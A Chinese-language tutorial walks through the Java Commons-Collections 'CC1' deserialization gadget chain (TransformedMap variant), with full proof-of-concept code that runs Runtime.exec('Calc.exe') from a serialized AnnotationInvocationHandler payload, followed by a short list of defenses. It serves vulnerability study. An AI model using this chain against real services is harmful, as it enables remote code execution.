java反序列化之cc1链 TransformedMap版
字数 1810 2025-08-30 06:50:12

Java反序列化漏洞分析:CC1链TransformedMap版

一、前置知识

1. 序列化与反序列化

序列化:将Java对象转换为字节序列(byte[]),用于保存到磁盘或通过网络传输。

序列化注意事项:

  • 必须实现Serializable接口
  • transient修饰的属性不会被序列化

示例代码:

import java.io.*;
class User implements Serializable {
    String name;
    int age;
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
}
public class SerializeDemo {
    public static void main(String[] args) throws Exception {
        User user = new User("Alice", 23);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.ser"));
        out.writeObject(user);
        out.close();
        System.out.println("对象已序列化");
    }
}

反序列化:将序列化后的字节序列转换回Java对象的过程。

示例代码:

public class DeserializeDemo {
    public static void main(String[] args) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser"));
        User user = (User) in.readObject(); // 反序列化过程
        in.close();
        System.out.println("对象已反序列化");
        System.out.println("姓名: " + user.name);
        System.out.println("年龄: " + user.age);
    }
}

二、环境准备

  • JDK版本:jdk8u65
  • Maven版本:3.6.3
  • Commons-Collections版本:3.2.1

注意:高版本JDK和Commons-Collections已修复此漏洞。

三、关键Transformer类分析

1. InvokerTransformer类

反射执行的核心类,是漏洞利用链的起点。

构造函数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

transform方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
}

2. ConstantTransformer类

构造函数:

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

transform方法:

public Object transform(Object input) {
    return this.iConstant;
}

3. ChainedTransformer类

构造函数:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

transform方法:

public Object transform(Object object) {
    for (int i = 0; i < this.iTransformers.length; i++) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

四、漏洞利用链构建

1. 基本思路

InvokerTransformertransform方法出发,寻找调用链:

  1. 寻找调用transform方法的地方
  2. 寻找可以传入InvokerTransformer作为参数的点
  3. 最终找到readObject反序列化入口

2. TransformedMap利用

TransformedMapcheckSetValue方法调用了transform方法:

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

valueTransformer通过构造函数传入:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

通过decorate静态方法创建TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

checkSetValueAbstractInputCheckedMapDecorator.MapEntry.setValue调用:

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return this.entry.setValue(value);
}

3. AnnotationInvocationHandler利用

AnnotationInvocationHandlerreadObject方法中调用了setValue方法:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;
    // ...
    for (Map.Entry var5 : this.memberValues.entrySet()) {
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var2.memberTypes().get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

五、完整利用链构建

1. 解决Runtime类不可序列化问题

Runtime类未实现Serializable接口,改用Runtime.classClass对象实现了Serializable)。

2. 构建ChainedTransformer

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
    ),
    new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}
    ),
    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"Calc.exe"}
    )
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

3. 构造完整利用链

public class TransTest3 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"Calc.exe"}
            )
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        Map innermap = new HashMap();
        innermap.put("value", "value");
        Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
        
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
        cst.setAccessible(true);
        Object exp = cst.newInstance(Target.class, outermap);
        
        // 序列化
        FileOutputStream fos = new FileOutputStream("payload.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(exp);
        oos.close();
        
        // 反序列化触发
        FileInputStream fis = new FileInputStream("payload.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object result = ois.readObject();
        ois.close();
    }
}

4. 关键点说明

  1. 使用Target.class作为注解类型,因为它有value属性
  2. innermap.put("value", "value")确保能通过memberTypes.get(name)检查
  3. TransformedMap.decorate创建包含恶意Transformer的Map
  4. 通过反射创建AnnotationInvocationHandler实例

六、漏洞利用链流程总结

  1. 反序列化触发AnnotationInvocationHandler.readObject
  2. readObject中遍历memberValues并调用setValue
  3. setValue调用TransformedMap.checkSetValue
  4. checkSetValue调用ChainedTransformer.transform
  5. ChainedTransformer依次执行:
    • ConstantTransformer返回Runtime.class
    • InvokerTransformer调用getMethod("getRuntime")
    • InvokerTransformer调用invoke(null)获取Runtime实例
    • InvokerTransformer调用exec("Calc.exe")执行命令

七、防御措施

  1. 升级Commons-Collections到安全版本
  2. 使用JDK高版本(已修复此漏洞)
  3. 对反序列化操作进行白名单控制
  4. 使用安全框架如SerialKiller进行防护

八、学习建议

  1. 使用调试工具逐步跟踪调用链
  2. 重点关注transformreadObject方法的调用关系
  3. 理解Java反射机制和动态代理
  4. 研究其他反序列化漏洞利用链(如CC6、CC7等)
Java反序列化漏洞分析:CC1链TransformedMap版 一、前置知识 1. 序列化与反序列化 序列化 :将Java对象转换为字节序列(byte[ ]),用于保存到磁盘或通过网络传输。 序列化注意事项: 必须实现 Serializable 接口 被 transient 修饰的属性不会被序列化 示例代码: 反序列化 :将序列化后的字节序列转换回Java对象的过程。 示例代码: 二、环境准备 JDK版本:jdk8u65 Maven版本:3.6.3 Commons-Collections版本:3.2.1 注意 :高版本JDK和Commons-Collections已修复此漏洞。 三、关键Transformer类分析 1. InvokerTransformer类 反射执行的核心类,是漏洞利用链的起点。 构造函数: transform方法: 2. ConstantTransformer类 构造函数: transform方法: 3. ChainedTransformer类 构造函数: transform方法: 四、漏洞利用链构建 1. 基本思路 从 InvokerTransformer 的 transform 方法出发,寻找调用链: 寻找调用 transform 方法的地方 寻找可以传入 InvokerTransformer 作为参数的点 最终找到 readObject 反序列化入口 2. TransformedMap利用 TransformedMap 的 checkSetValue 方法调用了 transform 方法: valueTransformer 通过构造函数传入: 通过 decorate 静态方法创建 TransformedMap : checkSetValue 被 AbstractInputCheckedMapDecorator.MapEntry.setValue 调用: 3. AnnotationInvocationHandler利用 AnnotationInvocationHandler 的 readObject 方法中调用了 setValue 方法: 五、完整利用链构建 1. 解决Runtime类不可序列化问题 Runtime 类未实现 Serializable 接口,改用 Runtime.class ( Class 对象实现了 Serializable )。 2. 构建ChainedTransformer 3. 构造完整利用链 4. 关键点说明 使用 Target.class 作为注解类型,因为它有 value 属性 innermap.put("value", "value") 确保能通过 memberTypes.get(name) 检查 TransformedMap.decorate 创建包含恶意 Transformer 的Map 通过反射创建 AnnotationInvocationHandler 实例 六、漏洞利用链流程总结 反序列化触发 AnnotationInvocationHandler.readObject readObject 中遍历 memberValues 并调用 setValue setValue 调用 TransformedMap.checkSetValue checkSetValue 调用 ChainedTransformer.transform ChainedTransformer 依次执行: ConstantTransformer 返回 Runtime.class InvokerTransformer 调用 getMethod("getRuntime") InvokerTransformer 调用 invoke(null) 获取 Runtime 实例 InvokerTransformer 调用 exec("Calc.exe") 执行命令 七、防御措施 升级Commons-Collections到安全版本 使用JDK高版本(已修复此漏洞) 对反序列化操作进行白名单控制 使用安全框架如SerialKiller进行防护 八、学习建议 使用调试工具逐步跟踪调用链 重点关注 transform 和 readObject 方法的调用关系 理解Java反射机制和动态代理 研究其他反序列化漏洞利用链(如CC6、CC7等)